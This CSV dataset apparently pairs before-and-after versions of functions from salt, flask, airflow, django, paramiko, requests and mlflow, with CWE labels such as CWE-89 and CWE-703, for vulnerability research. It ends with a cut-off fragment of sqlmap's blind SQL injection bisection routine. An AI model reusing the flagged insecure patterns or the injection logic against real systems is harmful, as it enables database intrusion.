                'The `extra_search_dir`(`--extra-search-dir`) option is not '
                'supported by {0!r}'.format(venv_bin)
            )
        elif never_download is not None:
            raise salt.exceptions.CommandExecutionError(
                'The `never_download`(`--never-download`) option is not '
                'supported by {0!r}'.format(venv_bin)
            )
        elif prompt is not None and prompt.strip() != '':
            raise salt.exceptions.CommandExecutionError(
                'The `prompt`(`--prompt`) option is not supported '
                'by {0!r}'.format(venv_bin)
            )
        # <---- Stop the user if virtualenv only options are being used ------

        if upgrade is True:
            cmd.append('--upgrade')
        if symlinks is True:
            cmd.append('--symlinks')

    # Common options to virtualenv and pyvenv
    if clear is True:
        cmd.append('--clear')
    if system_site_packages is True:
        cmd.append('--system-site-packages')

    # Finally the virtualenv path
    cmd.append(path)

    # Let's create the virtualenv
    ret = __salt__['cmd.run_all'](cmd, runas=user, python_shell=False)
    if ret['retcode'] > 0:
        # Something went wrong. Let's bail out now!
        return ret

    # Check if distribute and pip are already installed
    if salt.utils.is_windows():
        venv_python = os.path.join(path, 'Scripts', 'python.exe')
        venv_pip = os.path.join(path, 'Scripts', 'pip.exe')
        venv_setuptools = os.path.join(path, 'Scripts', 'easy_install.exe')
    else:
        venv_python = os.path.join(path, 'bin', 'python')
        venv_pip = os.path.join(path, 'bin', 'pip')
        venv_setuptools = os.path.join(path, 'bin', 'easy_install')

    # Install setuptools
    if (pip or distribute) and not os.path.exists(venv_setuptools):
        _install_script(
            'https://bitbucket.org/pypa/setuptools/raw/default/ez_setup.py',
            path, venv_python, user, saltenv=saltenv
        )

        # clear up the distribute archive which gets downloaded
        for fpath in glob.glob(os.path.join(path, 'distribute-*.tar.gz*')):
            os.unlink(fpath)

    if ret['retcode'] > 0:
        # Something went wrong. Let's bail out now!
        return ret

    # Install pip
    if pip and not os.path.exists(venv_pip):
        _ret = _install_script(
            'https://raw.githubusercontent.com/pypa/pip/master/contrib/get-pip.py',
            path, venv_python, user, saltenv=saltenv
        )
        # Let's update the return dictionary with the details from the pip
        # installation
        ret.update(
            retcode=_ret['retcode'],
            stdout='{0}\n{1}'.format(ret['stdout'], _ret['stdout']).strip(),
            stderr='{0}\n{1}'.format(ret['stderr'], _ret['stderr']).strip(),
        )

    return ret",,saltstack/salt,fb1577e8937e5c82174f1ef112df466e08e5bc86,"def create(path,
           venv_bin=None,
           system_site_packages=False,
           distribute=False,
           clear=False,
           python=None,
           extra_search_dir=None,
           never_download=None,
           prompt=None,
           pip=False,
           symlinks=None,
           upgrade=None,
           user=None,
           runas=None,
           saltenv='base'):
    '''
    Create a virtualenv

    path
        The path to create the virtualenv
    venv_bin : None (default 'virtualenv')
        The name (and optionally path) of the virtualenv command. This can also
        be set globally in the minion config file as ``virtualenv.venv_bin``.
    system_site_packages : False
        Passthrough argument given to virtualenv or pyvenv
    distribute : False
        Passthrough argument given to virtualenv
    pip : False
        Install pip after creating a virtual environment,
        implies distribute=True
    clear : False
        Passthrough argument given to virtualenv or pyvenv
    python : None (default)
        Passthrough argument given to virtualenv
    extra_search_dir : None (default)
        Passthrough argument given to virtualenv
    never_download : None (default)
        Passthrough argument given to virtualenv if True
    prompt : None (default)
        Passthrough argument given to virtualenv if not None
    symlinks : None
        Passthrough argument given to pyvenv if True
    upgrade : None
        Passthrough argument given to pyvenv if True
    user : None
        Set ownership for the virtualenv
    runas : None
        Set ownership for the virtualenv

    .. note::
        The ``runas`` argument is deprecated as of 2014.1.0. ``user`` should be
        used instead.

    CLI Example:

    .. code-block:: bash

        salt '*' virtualenv.create /path/to/new/virtualenv
    '''
    if venv_bin is None:
        venv_bin = __opts__.get('venv_bin') or __pillar__.get('venv_bin')
    # raise CommandNotFoundError if venv_bin is missing
    salt.utils.check_or_die(venv_bin)

    if runas is not None:
        # The user is using a deprecated argument, warn!
        salt.utils.warn_until(
            'Lithium',
            'The \'runas\' argument to pip.install is deprecated, and will be '
            'removed in Salt {version}. Please use \'user\' instead.'
        )

    # ""There can only be one""
    if runas is not None and user:
        raise salt.exceptions.CommandExecutionError(
            'The \'runas\' and \'user\' arguments are mutually exclusive. '
            'Please use \'user\' as \'runas\' is being deprecated.'
        )

    # Support deprecated 'runas' arg
    elif runas is not None and not user:
        user = str(runas)

    cmd = [venv_bin]

    if 'pyvenv' not in venv_bin:
        # ----- Stop the user if pyvenv only options are used --------------->
        # If any of the following values are not None, it means that the user
        # is actually passing a True or False value. Stop Him!
        if upgrade is not None:
            raise salt.exceptions.CommandExecutionError(
                'The `upgrade`(`--upgrade`) option is not supported '
                'by {0!r}'.format(venv_bin)
            )
        elif symlinks is not None:
            raise salt.exceptions.CommandExecutionError(
                'The `symlinks`(`--symlinks`) option is not supported '
                'by {0!r}'.format(venv_bin)
            )
        # <---- Stop the user if pyvenv only options are used ----------------

        # Virtualenv package
        try:
            import virtualenv
            version = getattr(virtualenv, '__version__',
                              virtualenv.virtualenv_version)
            virtualenv_version_info = tuple(
                [int(i) for i in version.split('rc')[0].split('.')]
            )
        except ImportError:
            # Unable to import?? Let's parse the version from the console
            version_cmd = '{0} --version'.format(venv_bin)
            ret = __salt__['cmd.run_all'](
                    version_cmd, runas=user, python_shell=False
                )
            if ret['retcode'] > 0 or not ret['stdout'].strip():
                raise salt.exceptions.CommandExecutionError(
                    'Unable to get the virtualenv version output using {0!r}. '
                    'Returned data: {1!r}'.format(version_cmd, ret)
                )
            virtualenv_version_info = tuple(
                [int(i) for i in
                 ret['stdout'].strip().split('rc')[0].split('.')]
            )

        if distribute:
            if virtualenv_version_info >= (1, 10):
                log.info(
                    'The virtualenv \'--distribute\' option has been '
                    'deprecated in virtualenv(>=1.10), as such, the '
                    '\'distribute\' option to `virtualenv.create()` has '
                    'also been deprecated and it\'s not necessary anymore.'
                )
            else:
                cmd.append('--distribute')

        if python is not None and python.strip() != '':
            if not os.access(python, os.X_OK):
                raise salt.exceptions.CommandExecutionError(
                    'Requested python ({0}) does not appear '
                    'executable.'.format(python)
                )
            cmd.append('--python={0}'.format(python))
        if extra_search_dir is not None:
            if isinstance(extra_search_dir, string_types) and \
                    extra_search_dir.strip() != '':
                extra_search_dir = [
                    e.strip() for e in extra_search_dir.split(',')
                ]
            for entry in extra_search_dir:
                cmd.append('--extra-search-dir={0}'.format(entry))
        if never_download is True:
            if virtualenv_version_info >= (1, 10):
                log.info(
                    'The virtualenv \'--never-download\' option has been '
                    'deprecated in virtualenv(>=1.10), as such, the '
                    '\'never_download\' option to `virtualenv.create()` has '
                    'also been deprecated and it\'s not necessary anymore.'
                )
            else:
                cmd.append('--never-download')
        if prompt is not None and prompt.strip() != '':
            cmd.append('--prompt={0!r}'.format(prompt))
    else:
        # venv module from the Python >= 3.3 standard library

        # ----- Stop the user if virtualenv only options are being used ----->
        # If any of the following values are not None, it means that the user
        # is actually passing a True or False value. Stop Him!
        if python is not None and python.strip() != '':
            raise salt.exceptions.CommandExecutionError(
                'The `python`(`--python`) option is not supported '
                'by {0!r}'.format(venv_bin)
            )
        elif extra_search_dir is not None and extra_search_dir.strip() != '':
            raise salt.exceptions.CommandExecutionError(
                'The `extra_search_dir`(`--extra-search-dir`) option is not '
                'supported by {0!r}'.format(venv_bin)
            )
        elif never_download is not None:
            raise salt.exceptions.CommandExecutionError(
                'The `never_download`(`--never-download`) option is not '
                'supported by {0!r}'.format(venv_bin)
            )
        elif prompt is not None and prompt.strip() != '':
            raise salt.exceptions.CommandExecutionError(
                'The `prompt`(`--prompt`) option is not supported '
                'by {0!r}'.format(venv_bin)
            )
        # <---- Stop the user if virtualenv only options are being used ------

        if upgrade is True:
            cmd.append('--upgrade')
        if symlinks is True:
            cmd.append('--symlinks')

    # Common options to virtualenv and pyvenv
    if clear is True:
        cmd.append('--clear')
    if system_site_packages is True:
        cmd.append('--system-site-packages')

    # Finally the virtualenv path
    cmd.append(path)

    # Let's create the virtualenv
    ret = __salt__['cmd.run_all'](cmd, runas=user, python_shell=False)
    if ret['retcode'] > 0:
        # Something went wrong. Let's bail out now!
        return ret

    # Check if distribute and pip are already installed
    if salt.utils.is_windows():
        venv_python = os.path.join(path, 'Scripts', 'python.exe')
        venv_pip = os.path.join(path, 'Scripts', 'pip.exe')
        venv_setuptools = os.path.join(path, 'Scripts', 'easy_install.exe')
    else:
        venv_python = os.path.join(path, 'bin', 'python')
        venv_pip = os.path.join(path, 'bin', 'pip')
        venv_setuptools = os.path.join(path, 'bin', 'easy_install')

    # Install setuptools
    if (pip or distribute) and not os.path.exists(venv_setuptools):
        _install_script(
            'https://bitbucket.org/pypa/setuptools/raw/default/ez_setup.py',
            path, venv_python, user, saltenv=saltenv
        )

        # clear up the distribute archive which gets downloaded
        for fpath in glob.glob(os.path.join(path, 'distribute-*.tar.gz*')):
            os.unlink(fpath)

    if ret['retcode'] > 0:
        # Something went wrong. Let's bail out now!
        return ret

    # Install pip
    if pip and not os.path.exists(venv_pip):
        _ret = _install_script(
            'https://raw.githubusercontent.com/pypa/pip/master/contrib/get-pip.py',
            path, venv_python, user, saltenv=saltenv
        )
        # Let's update the return dictionary with the details from the pip
        # installation
        ret.update(
            retcode=_ret['retcode'],
            stdout='{0}\n{1}'.format(ret['stdout'], _ret['stdout']).strip(),
            stderr='{0}\n{1}'.format(ret['stderr'], _ret['stderr']).strip(),
        )

    return ret"
,UNKNOWN,UNKNOWN,tests/test_basic.py,1,"def test_request_locals():
    assert repr(flask.g) == '<LocalProxy unbound>'
    assert not flask.g",CWE-703,pallets/flask,46a67b6789ceb3ba814afdb72ed7770033858a73,"def test_request_locals():
    assert repr(flask.g) == '<LocalProxy unbound>'
    assert not flask.g"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/data/evaluation_dataset.py,0,"def _gen_md5_for_arraylike_obj(md5_gen, data):
    """"""
    Helper method to generate MD5 hash array-like object, the MD5 will calculate over:
     - array length
     - first NUM_SAMPLE_ROWS_FOR_HASH rows content
     - last NUM_SAMPLE_ROWS_FOR_HASH rows content
    """"""
    len_bytes = _hash_uint64_ndarray_as_bytes(np.array([len(data)], dtype=""uint64""))
    md5_gen.update(len_bytes)
    if len(data) < EvaluationDataset.NUM_SAMPLE_ROWS_FOR_HASH * 2:
        md5_gen.update(_hash_array_like_obj_as_bytes(data))
    else:
        if isinstance(data, pd.DataFrame):
            # Access rows of pandas Df with iloc
            head_rows = data.iloc[: EvaluationDataset.NUM_SAMPLE_ROWS_FOR_HASH]
            tail_rows = data.iloc[-EvaluationDataset.NUM_SAMPLE_ROWS_FOR_HASH :]
        else:
            head_rows = data[: EvaluationDataset.NUM_SAMPLE_ROWS_FOR_HASH]
            tail_rows = data[-EvaluationDataset.NUM_SAMPLE_ROWS_FOR_HASH :]
        md5_gen.update(_hash_array_like_obj_as_bytes(head_rows))
        md5_gen.update(_hash_array_like_obj_as_bytes(tail_rows))",,mlflow/mlflow,d932c53a1656712152809f6ad4a0e2144642e7c2,"def _gen_md5_for_arraylike_obj(md5_gen, data):
    """"""
    Helper method to generate MD5 hash array-like object, the MD5 will calculate over:
     - array length
     - first NUM_SAMPLE_ROWS_FOR_HASH rows content
     - last NUM_SAMPLE_ROWS_FOR_HASH rows content
    """"""
    len_bytes = _hash_uint64_ndarray_as_bytes(np.array([len(data)], dtype=""uint64""))
    md5_gen.update(len_bytes)
    if len(data) < EvaluationDataset.NUM_SAMPLE_ROWS_FOR_HASH * 2:
        md5_gen.update(_hash_array_like_obj_as_bytes(data))
    else:
        head_rows = data[: EvaluationDataset.NUM_SAMPLE_ROWS_FOR_HASH]
        tail_rows = data[-EvaluationDataset.NUM_SAMPLE_ROWS_FOR_HASH :]
        md5_gen.update(_hash_array_like_obj_as_bytes(head_rows))
        md5_gen.update(_hash_array_like_obj_as_bytes(tail_rows))"
,UNKNOWN,UNKNOWN,tests/auth/managers/test_base_auth_manager.py,1,"def test_batch_is_authorized_dag(self, mock_is_authorized_dag, auth_manager, return_values, expected):
        mock_is_authorized_dag.side_effect = return_values
        result = auth_manager.batch_is_authorized_dag(
            [
                {""method"": ""GET"", ""details"": DagDetails(id=""dag1"")},
                {""method"": ""GET"", ""details"": DagDetails(id=""dag2"")},
            ],
            user=Mock(),
        )
        assert result == expected",CWE-703,apache/airflow,d024cdab190eb46eb0ce21679f44f08df5690cb9,"def test_batch_is_authorized_dag(self, mock_is_authorized_dag, auth_manager, return_values, expected):
        mock_is_authorized_dag.side_effect = return_values
        result = auth_manager.batch_is_authorized_dag(
            [
                {""method"": ""GET"", ""details"": DagDetails(id=""dag1"")},
                {""method"": ""GET"", ""details"": DagDetails(id=""dag2"")},
            ]
        )
        assert result == expected"
,UNKNOWN,UNKNOWN,providers/tests/common/sql/sensors/test_sql.py,1,"def test_sql_sensor_postgres_poke_invalid_failure(self, mock_hook):
        op = SqlSensor(
            task_id=""sql_sensor_check"",
            conn_id=""postgres_default"",
            sql=""SELECT 1"",
            failure=[1],  # type: ignore[arg-type]
        )

        mock_hook.get_connection.return_value.get_hook.return_value = mock.MagicMock(spec=DbApiHook)
        mock_get_records = mock_hook.get_connection.return_value.get_hook.return_value.get_records

        mock_get_records.return_value = [[1]]
        with pytest.raises(AirflowException) as ctx:
            op.poke({})
        assert str(ctx.value) == ""self.failure is present, but not callable -> [1]""",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_sql_sensor_postgres_poke_invalid_failure(self, mock_hook):
        op = SqlSensor(
            task_id=""sql_sensor_check"",
            conn_id=""postgres_default"",
            sql=""SELECT 1"",
            failure=[1],  # type: ignore[arg-type]
        )

        mock_hook.get_connection.return_value.get_hook.return_value = mock.MagicMock(spec=DbApiHook)
        mock_get_records = mock_hook.get_connection.return_value.get_hook.return_value.get_records

        mock_get_records.return_value = [[1]]
        with pytest.raises(AirflowException) as ctx:
            op.poke({})
        assert ""self.failure is present, but not callable -> [1]"" == str(ctx.value)"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/config.py,0,"def parse(self, file_obj):
        """"""
        Read an OpenSSH config from the given file object.

        :param file_obj: a file-like object to read the config file from
        """"""
        host = {""host"": ['*'], ""config"": {}}
        for line in file_obj:
            # Strip any leading or trailing whitespace from the line.
            # See https://github.com/paramiko/paramiko/issues/499 for more info.
            line = line.strip()
            if not line or line.startswith('#'):
                continue
            if '=' in line:
                # Ensure ProxyCommand gets properly split
                if line.lower().strip().startswith('proxycommand'):
                    match = proxy_re.match(line)
                    key, value = match.group(1).lower(), match.group(2)
                else:
                    key, value = line.split('=', 1)
                    key = key.strip().lower()
            else:
                # find first whitespace, and split there
                i = 0
                while (i < len(line)) and not line[i].isspace():
                    i += 1
                if i == len(line):
                    raise Exception('Unparsable line: %r' % line)
                key = line[:i].lower()
                value = line[i:].lstrip()

            if key == 'host':
                self._config.append(host)
                value = value.split()
                host = {key: value, 'config': {}}
            #identityfile, localforward, remoteforward keys are special cases, since they are allowed to be
            # specified multiple times and they should be tried in order
            # of specification.

            elif key in ['identityfile', 'localforward', 'remoteforward']:
                if key in host['config']:
                    host['config'][key].append(value)
                else:
                    host['config'][key] = [value]
            elif key not in host['config']:
                host['config'][key] = value
        self._config.append(host)",,paramiko/paramiko,10bb1772ed86c0b0f13b548f25bf51dd0bdf80c4,"def parse(self, file_obj):
        """"""
        Read an OpenSSH config from the given file object.

        :param file_obj: a file-like object to read the config file from
        """"""
        host = {""host"": ['*'], ""config"": {}}
        for line in file_obj:
            line = line.rstrip('\r\n').lstrip()
            if not line or line.startswith('#'):
                continue
            if '=' in line:
                # Ensure ProxyCommand gets properly split
                if line.lower().strip().startswith('proxycommand'):
                    match = proxy_re.match(line)
                    key, value = match.group(1).lower(), match.group(2)
                else:
                    key, value = line.split('=', 1)
                    key = key.strip().lower()
            else:
                # find first whitespace, and split there
                i = 0
                while (i < len(line)) and not line[i].isspace():
                    i += 1
                if i == len(line):
                    raise Exception('Unparsable line: %r' % line)
                key = line[:i].lower()
                value = line[i:].lstrip()

            if key == 'host':
                self._config.append(host)
                value = value.split()
                host = {key: value, 'config': {}}
            #identityfile, localforward, remoteforward keys are special cases, since they are allowed to be
            # specified multiple times and they should be tried in order
            # of specification.

            elif key in ['identityfile', 'localforward', 'remoteforward']:
                if key in host['config']:
                    host['config'][key].append(value)
                else:
                    host['config'][key] = [value]
            elif key not in host['config']:
                host['config'][key] = value
        self._config.append(host)"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,src/requests/utils.py,0,"def get_netrc_auth(url, raise_errors=False):
    """"""Returns the Requests tuple auth for a given url from netrc.""""""

    netrc_file = os.environ.get(""NETRC"")
    if netrc_file is not None:
        netrc_locations = (netrc_file,)
    else:
        netrc_locations = (f""~/{f}"" for f in NETRC_FILES)

    try:
        from netrc import NetrcParseError, netrc

        netrc_path = None

        for f in netrc_locations:
            loc = os.path.expanduser(f)
            if os.path.exists(loc):
                netrc_path = loc
                break

        # Abort early if there isn't one.
        if netrc_path is None:
            return

        ri = urlparse(url)
        host = ri.hostname

        try:
            _netrc = netrc(netrc_path).authenticators(host)
            if _netrc:
                # Return with login / password
                login_i = 0 if _netrc[0] else 1
                return (_netrc[login_i], _netrc[2])
        except (NetrcParseError, OSError):
            # If there was a parsing error or a permissions issue reading the file,
            # we'll just skip netrc auth unless explicitly asked to raise errors.
            if raise_errors:
                raise

    # App Engine hackiness.
    except (ImportError, AttributeError):
        pass",,psf/requests,5b4b64c3467fd7a3c03f91ee641aaa348b6bed3b,"def get_netrc_auth(url, raise_errors=False):
    """"""Returns the Requests tuple auth for a given url from netrc.""""""

    netrc_file = os.environ.get(""NETRC"")
    if netrc_file is not None:
        netrc_locations = (netrc_file,)
    else:
        netrc_locations = (f""~/{f}"" for f in NETRC_FILES)

    try:
        from netrc import NetrcParseError, netrc

        netrc_path = None

        for f in netrc_locations:
            try:
                loc = os.path.expanduser(f)
            except KeyError:
                # os.path.expanduser can fail when $HOME is undefined and
                # getpwuid fails. See https://bugs.python.org/issue20164 &
                # https://github.com/psf/requests/issues/1846
                return

            if os.path.exists(loc):
                netrc_path = loc
                break

        # Abort early if there isn't one.
        if netrc_path is None:
            return

        ri = urlparse(url)
        host = ri.hostname

        try:
            _netrc = netrc(netrc_path).authenticators(host)
            if _netrc:
                # Return with login / password
                login_i = 0 if _netrc[0] else 1
                return (_netrc[login_i], _netrc[2])
        except (NetrcParseError, OSError):
            # If there was a parsing error or a permissions issue reading the file,
            # we'll just skip netrc auth unless explicitly asked to raise errors.
            if raise_errors:
                raise

    # App Engine hackiness.
    except (ImportError, AttributeError):
        pass"
,UNKNOWN,UNKNOWN,django/db/backends/mysql/introspection.py,1,"def get_table_description(self, cursor, table_name):
        """"""
        Returns a description of the table, with the DB-API cursor.description interface.""
        """"""
        # varchar length returned by cursor.description is an internal length,
        # not visible length (#5725), use information_schema database to fix this
        cursor.execute(""""""
            SELECT column_name, character_maximum_length FROM information_schema.columns
            WHERE table_name = %s AND table_schema = DATABASE()
                AND character_maximum_length IS NOT NULL"""""", [table_name])
        length_map = dict(cursor.fetchall())

        # Also getting precision and scale from information_schema (see #5014)
        cursor.execute(""""""
            SELECT column_name, numeric_precision, numeric_scale FROM information_schema.columns
            WHERE table_name = %s AND table_schema = DATABASE()
                AND data_type='decimal'"""""", [table_name])
        numeric_map = dict([(line[0], tuple([int(n) for n in line[1:]])) for line in cursor.fetchall()])

        cursor.execute(""SELECT * FROM %s LIMIT 1"" % self.connection.ops.quote_name(table_name))
        return [FieldInfo(*(line[:3] + (length_map.get(line[0], line[3]),)
                                     + numeric_map.get(line[0], line[4:6])
                                     + (line[6],)))
            for line in cursor.description]",CWE-89,django/django,51028f50b624efae273dcbe828ec80c1846c74dc,"def get_table_description(self, cursor, table_name):
        """"""
        Returns a description of the table, with the DB-API cursor.description interface.""
        """"""
        # varchar length returned by cursor.description is an internal length,
        # not visible length (#5725), use information_schema database to fix this
        cursor.execute(""""""
            SELECT column_name, character_maximum_length FROM information_schema.columns
            WHERE table_name = %s AND table_schema = DATABASE()
                AND character_maximum_length IS NOT NULL"""""", [table_name])
        length_map = dict(cursor.fetchall())

        cursor.execute(""SELECT * FROM %s LIMIT 1"" % self.connection.ops.quote_name(table_name))
        return [FieldInfo(*(line[:3] + (length_map.get(line[0], line[3]),) + line[4:]))
            for line in cursor.description]"
,UNKNOWN,UNKNOWN,providers/google/tests/unit/google/cloud/operators/test_dataproc.py,1,"def test_create_cluster_operator_extra_links(
    dag_maker, create_task_instance_of_operator, mock_supervisor_comms
):
    ti = create_task_instance_of_operator(
        DataprocCreateClusterOperator,
        dag_id=TEST_DAG_ID,
        task_id=TASK_ID,
        region=GCP_REGION,
        project_id=GCP_PROJECT,
        cluster_name=CLUSTER_NAME,
        delete_on_error=True,
        gcp_conn_id=GCP_CONN_ID,
    )

    serialized_dag = dag_maker.get_serialized_data()
    # Assert operator links for serialized DAG
    deserialized_dag = SerializedDAG.deserialize_dag(serialized_dag[""dag""])
    operator_extra_link = deserialized_dag.tasks[0].operator_extra_links[0]
    assert operator_extra_link.name == ""Dataproc Cluster""

    if AIRFLOW_V_3_0_PLUS:
        mock_supervisor_comms.send.return_value = XComResult(
            key=""key"",
            value="""",
        )
    # Assert operator link is empty when no XCom push occurred
    assert ti.task.operator_extra_links[0].get_link(operator=ti.task, ti_key=ti.key) == """"

    ti.xcom_push(key=""dataproc_cluster"", value=DATAPROC_CLUSTER_EXPECTED)

    if AIRFLOW_V_3_0_PLUS:
        mock_supervisor_comms.send.return_value = XComResult(
            key=""key"",
            value={""cluster_id"": ""cluster_name"", ""project_id"": ""test-project"", ""region"": ""test-location""},
        )
    # Assert operator links after execution
    assert (
        ti.task.operator_extra_links[0].get_link(operator=ti.task, ti_key=ti.key)
        == DATAPROC_CLUSTER_LINK_EXPECTED
    )",CWE-703,apache/airflow,accfbc3dc06b73cc0ae3d2d77454ff5669788ae5,"def test_create_cluster_operator_extra_links(
    dag_maker, create_task_instance_of_operator, mock_supervisor_comms
):
    ti = create_task_instance_of_operator(
        DataprocCreateClusterOperator,
        dag_id=TEST_DAG_ID,
        task_id=TASK_ID,
        region=GCP_REGION,
        project_id=GCP_PROJECT,
        cluster_name=CLUSTER_NAME,
        delete_on_error=True,
        gcp_conn_id=GCP_CONN_ID,
    )

    serialized_dag = dag_maker.get_serialized_data()
    # Assert operator links for serialized DAG
    deserialized_dag = SerializedDAG.deserialize_dag(serialized_dag[""dag""])
    operator_extra_link = deserialized_dag.tasks[0].operator_extra_links[0]
    assert operator_extra_link.name == ""Dataproc Cluster""

    if AIRFLOW_V_3_0_PLUS:
        mock_supervisor_comms.get_message.return_value = XComResult(
            key=""key"",
            value="""",
        )
    # Assert operator link is empty when no XCom push occurred
    assert ti.task.operator_extra_links[0].get_link(operator=ti.task, ti_key=ti.key) == """"

    ti.xcom_push(key=""dataproc_cluster"", value=DATAPROC_CLUSTER_EXPECTED)

    if AIRFLOW_V_3_0_PLUS:
        mock_supervisor_comms.get_message.return_value = XComResult(
            key=""key"",
            value={""cluster_id"": ""cluster_name"", ""project_id"": ""test-project"", ""region"": ""test-location""},
        )
    # Assert operator links after execution
    assert (
        ti.task.operator_extra_links[0].get_link(operator=ti.task, ti_key=ti.key)
        == DATAPROC_CLUSTER_LINK_EXPECTED
    )"
,UNKNOWN,UNKNOWN,django/contrib/auth/tests/views.py,1,"def test_password_change_succeeds(self):
        self.login()
        response = self.client.post('/password_change/', {
            'old_password': 'password',
            'new_password1': 'password1',
            'new_password2': 'password1',
            }
        )
        self.assertEqual(response.status_code, 302)
        self.assertTrue(response['Location'].endswith('/password_change/done/'))
        self.fail_login()
        self.login(password='password1')",CWE-259,django/django,821d8aaaaad3f4d11f29eb54a7812f363b5f07cb,"def test_password_change_succeeds(self):
        self.login()
        response = self.client.post('/password_change/', {
            'old_password': 'password',
            'new_password1': 'password1',
            'new_password2': 'password1',
            }
        )
        self.assertEqual(response.status_code, 302)
        self.assertTrue(response['Location'].endswith('/password_change/done/'))
        self.fail_login()
        self.login(password='password1')"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/tableau/operators/tableau.py,0,"def execute(self, context: dict) -> str:
        """"""
        Executes the Tableau API resource and pushes the job id or downloaded file URI to xcom.
        :param context: The task context during execution.
        :type context: dict
        :return: the id of the job that executes the extract refresh or downloaded file URI.
        :rtype: str
        """"""
        available_resources = RESOURCES_METHODS.keys()
        if self.resource not in available_resources:
            error_message = f'Resource not found! Available Resources: {available_resources}'
            raise AirflowException(error_message)

        available_methods = RESOURCES_METHODS[self.resource]
        if self.method not in available_methods:
            error_message = f'Method not found! Available methods for {self.resource}: {available_methods}'
            raise AirflowException(error_message)

        with TableauHook(self.site_id, self.tableau_conn_id) as tableau_hook:

            resource = getattr(tableau_hook.server, self.resource)
            method = getattr(resource, self.method)

            resource_id = self._get_resource_id(tableau_hook)

            response = method(resource_id)

        job_id = response.id

        if self.method == 'refresh':
            if self.blocking_refresh:
                if not tableau_hook.wait_for_state(
                    job_id=job_id,
                    check_interval=self.check_interval,
                    target_state=TableauJobFinishCode.SUCCESS,
                ):
                    raise TableauJobFailedException(f'The Tableau Refresh {self.resource} Job failed!')

        return job_id",CWE-Unknown,apache/airflow,6174198a3fa3ab7cffa7394afad48e5082210283,"def execute(self, context: dict) -> str:
        """"""
        Executes the Tableau API resource and pushes the job id or downloaded file URI to xcom.
        :param context: The task context during execution.
        :type context: dict
        :return: the id of the job that executes the extract refresh or downloaded file URI.
        :rtype: str
        """"""
        available_resources = RESOURCES_METHODS.keys()
        if self.resource not in available_resources:
            error_message = f'Resource not found! Available Resources: {available_resources}'
            raise AirflowException(error_message)

        available_methods = RESOURCES_METHODS[self.resource]
        if self.method not in available_methods:
            error_message = f'Method not found! Available methods for {self.resource}: {available_methods}'
            raise AirflowException(error_message)

        with TableauHook(self.site_id, self.tableau_conn_id) as tableau_hook:

            resource = getattr(tableau_hook.server, self.resource)
            method = getattr(resource, self.method)

            resource_id = self._get_resource_id(tableau_hook)

            response = method(resource_id)

        if self.method == 'refresh':

            job_id = response.id

            if self.blocking_refresh:
                if not tableau_hook.wait_for_state(
                    job_id=job_id,
                    check_interval=self.check_interval,
                    target_state=TableauJobFinishCode.SUCCESS,
                ):
                    raise TableauJobFailedException(f'The Tableau Refresh {self.resource} Job failed!')

            return job_id"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/blind/inference.py,0,"def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """"""
    Bisection algorithm that can be used to perform blind SQL injection
    on an affected host
    """"""

    abortedFlag = False
    partialValue = u""""
    finalValue = None
    retrievedLength = 0
    asciiTbl = getCharset(charsetType)
    timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal:
        if PARTIAL_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_VALUE_MARKER, """")

            if retVal:
                partialValue = retVal
                infoMsg = ""resuming partial value: %s"" % safecharencode(partialValue)
                logger.info(infoMsg)
        else:
            infoMsg = ""resumed: %s"" % safecharencode(retVal)
            logger.info(infoMsg)

            return 0, retVal

    try:
        # Set kb.partRun in case ""common prediction"" feature (a.k.a. ""good
        # samaritan"") is used
        kb.partRun = getPartRun() if conf.predictOutput else None

        if partialValue:
            firstChar = len(partialValue)
        elif ""LENGTH("" in expression.upper() or ""LEN("" in expression.upper():
            firstChar = 0
        elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
        elif firstChar is None:
            firstChar = 0
        elif (isinstance(firstChar, basestring) and firstChar.isdigit()) or isinstance(firstChar, int):
            firstChar = int(firstChar) - 1

        if ""LENGTH("" in expression.upper() or ""LEN("" in expression.upper():
            lastChar = 0
        elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
        elif lastChar in (None, ""0""):
            lastChar = 0
        elif (isinstance(lastChar, basestring) and lastChar.isdigit()) or isinstance(lastChar, int):
            lastChar = int(lastChar)

        if Backend.getDbms():
            _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
            nulledCastedField = agent.nullAndCastField(fieldToCastStr)
            expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
            expressionUnescaped = unescaper.unescape(expressionReplaced)
        else:
            expressionUnescaped = unescaper.unescape(expression)

        if length and isinstance(length, basestring) and length.isdigit():
            length = int(length)

        if length == 0:
            return 0, """"

        if length and (lastChar > 0 or firstChar > 0):
            length = min(length, lastChar or length) - firstChar

        showEta = conf.eta and isinstance(length, int)
        numThreads = min(conf.threads, length)

        if showEta:
            progress = ProgressBar(maxValue=length)
            progressTime = []

        if timeBasedCompare and conf.threads > 1:
            warnMsg = ""multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically""
            singleTimeWarnMessage(warnMsg)

        if numThreads > 1:
            if not timeBasedCompare:
                debugMsg = ""starting %d thread%s"" % (numThreads, (""s"" if numThreads > 1 else """"))
                logger.debug(debugMsg)
            else:
                numThreads = 1

        if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
            warnMsg = ""running in a single-thread mode. Please consider ""
            warnMsg += ""usage of option '--threads' for faster data retrieval""
            singleTimeWarnMessage(warnMsg)

        if conf.verbose in (1, 2) and not showEta:
            if isinstance(length, int) and conf.threads > 1:
                dataToStdout(""[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), ""_"" * min(length, conf.progressWidth)))
                dataToStdout(""\r[%s] [INFO] retrieved: "" % time.strftime(""%X""))
